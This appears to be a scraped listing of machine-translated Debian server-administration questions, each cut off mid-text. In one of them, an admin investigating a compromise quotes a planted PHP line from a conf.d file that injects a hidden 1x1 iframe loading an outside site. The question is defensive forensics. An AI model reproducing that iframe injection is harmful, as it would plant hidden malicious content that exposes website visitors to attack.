第一次海报 - 长期读者和学习者。
已经尝试了 2 周来在 Debian 5 (lenny) 机器上解决一个搞砸了的 PHP5.3 安装,但徒劳无功。每次我尝试 apt-get install php5-cli 时,我都会收到大量未满足的依赖项,我真的不知道从哪里开始,也不知道如何重新开始。
这是我未满足的依赖项列表:
Reading package lists... Done
Building dependency tree
Rlibc6 is already the newest version.
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:
The following …Run Code Online (Sandbox Code Playgroud) 您好,我目前在正确安装 proftpd 时遇到问题。
在某些时候已经安装了包,但是当我尝试安装时,没有选择屏幕来预配置服务器,也没有创建任何配置文件。
我已经尝试通过 apt-get 清除/重新安装/安装/删除/清理/自动清理,但似乎没有解决问题。
有没有办法强制“干净/新鲜”安装?
我在我的 apache 错误日志文件中收到这些错误:
[Fri May 20 16:17:06 2011] [notice] Apache/2.2.17 (Ubuntu) PHP/5.3.5-1ubuntu7.2 with Suhosin-Patch configured -- resuming normal operations
[Fri May 20 16:17:11 2011] [alert] [client 127.0.0.1] /home/zomerovic/vhosts/brillelook/public_html/.htaccess: Invalid command 'RewriteCond', perhaps misspelled or defined by a module not included in the server configuration
[Fri May 20 16:17:12 2011] [alert] [client 127.0.0.1] /home/zomerovic/vhosts/brillelook/public_html/.htaccess: Invalid command 'RewriteCond', perhaps misspelled or defined by a module not included in the server configuration
[Fri May 20 16:17:12 2011] [alert] [client 127.0.0.1] /home/zomerovic/vhosts/brillelook/public_html/.htaccess: Invalid command …Run Code Online (Sandbox Code Playgroud) 我收到了一封来自 logcheck 的电子邮件,其中包含与 UDP 端口 60059 的许多尝试连接。
This email is sent by logcheck. If you no longer wish to receive
such mail, you can either deinstall the logcheck package or modify
its configuration file (/etc/logcheck/logcheck.conf).
System Events
=-=-=-=-=-=-=
Jul 29 04:42:02 myserver kernel: Shorewall:net2fw:DROP:IN=eth0 OUT= MAC=fe:fd:42:e4:26:54:88:43:e1:7c:75:3f:08:00 SRC=91.121.95.131 DST=my.ip.add.ress LEN=171 TOS=0x00 PREC=0x00 TTL=56 ID=0 DF PROTO=UDP SPT=58250 DPT=60059 LEN=151
Jul 29 04:42:03 myserver kernel: Shorewall:net2fw:DROP:IN=eth0 OUT= MAC=fe:fd:42:e4:26:54:88:43:e1:a4:04:ff:08:00 SRC=91.121.95.131 DST=my.ip.add.ress LEN=171 TOS=0x00 PREC=0x00 TTL=56 ID=0 DF PROTO=UDP SPT=58058 DPT=60059 LEN=151
Jul 29 …Run Code Online (Sandbox Code Playgroud) 我有一台运行 Debian Lenny 的服务器。最近我遇到了一些安全问题。我特别看到在 /etc/php5/conf.d 中创建了一个名为“php-dev.ini”的文件。乍一看,该文件看起来正常且无害,直到您打开它。它包含:
<?php print "<iframe src='http://google-traf.zyns.com/index.php?tp=4abd7c0637c89d7a' width='1' height='1' frameborder='0'></iframe>"; ?>
Run Code Online (Sandbox Code Playgroud)
显然我知道服务器有安全问题,所以请不要说“你给服务器打补丁了吗?” 回应。那已经完成了。已检查服务器是否存在 rootkit,并且没有可疑帐户。我对什么用户或 PID 正在写入此目录特别感兴趣,并且正在寻找可以使用哪些工具来帮助我。我已经研究过“iwatch”和“inotify”,但想在我走上研究之路之前从其他人那里得到一些反馈。有谁知道一个可以帮助我识别的好工具:
基本上,我希望做一些取证并了解监视文件系统。任何见解将不胜感激。
(编辑以引用 PHP 代码示例,因为它之前未显示。)
目前我的服务器滞后很严重,它崩溃了。这是一个专用服务器,最近两天运行良好。
这个命令有什么作用?
netstat -n|grep :80|cut -c 45-|cut -f 1 -d ':'|sort|uniq -c|sort -nr|more
Run Code Online (Sandbox Code Playgroud)
这就是我得到的:
154 76.217.x.xx
11 79.51.xx.xxx
10 174.119.xx.xx
9 201.230.xxx.xxx
8 24.184.xx.xxx
8 127.0.0.1
6 50.51.xxx.xxx
6 216.121.xxx.xxx
4 80.203.xx.xxx
4 24.186.xxx.xxx
4 223.25.xx.xxx
4 119.93.xx.xx
Run Code Online (Sandbox Code Playgroud)
IP旁边的数字是什么意思?是连接的意思吗?如果是这样......顶级IP正在欺骗我?
我是 Linux 领域的新手。我有一个 linux 盒子,上面写着内核版本是 2.6.18-4-amd64。它已经工作了很长时间。我需要在盒子上安装 subversion,因此我尝试了 apt-get。但收到以下内容:
The following extra packages will be installed:
libneon26 libsvn1
Suggested packages:
subversion-tools db4.4-util
The following NEW packages will be installed:
libneon26 libsvn1 subversion
0 upgraded, 3 newly installed, 0 to remove and 88 not upgraded.
Need to get 1802kB of archives.
After unpacking 5263kB of additional disk space will be used.
Do you want to continue [Y/n]? Y
Fetched 1802kB in 1s (1001kB/s)
W: Couldn't stat source package list http://archive.debian.org etch/main Packages …Run Code Online (Sandbox Code Playgroud) 如何将来自不同子域的流量路由到不同的内部 IP 地址?
我已经设置了一个 Debian 路由器,它有一个公共 IP 和一个指向该 IP 的域名,我想让不同的子域到达不同的内部机器。
我在这里谈论的是 HTTP、SSH 和 FTP 流量,我在路由器上安装了 Shorewall 和 dnsmasq。
例如,URL:ftp.example.com 我想指向一台内部 IP 为 192.168.1.10 的机器,然后 dev.example.com 我想访问另一个内部 IP。说 192.168.1.200
如果我可以指定在哪些子域上允许使用哪些协议并将每个协议和端口明确路由到内部机器,那就太好了。
debian ×10
apt ×2
linux ×2
shorewall ×2
.htaccess ×1
500-error ×1
apache-2.2 ×1
aptitude ×1
ddos ×1
debian-etch ×1
debian-lenny ×1
fail2ban ×1
ftp ×1
installation ×1
mod-rewrite ×1
php5 ×1
port ×1
routing ×1
security ×1
subdomain ×1
svn ×1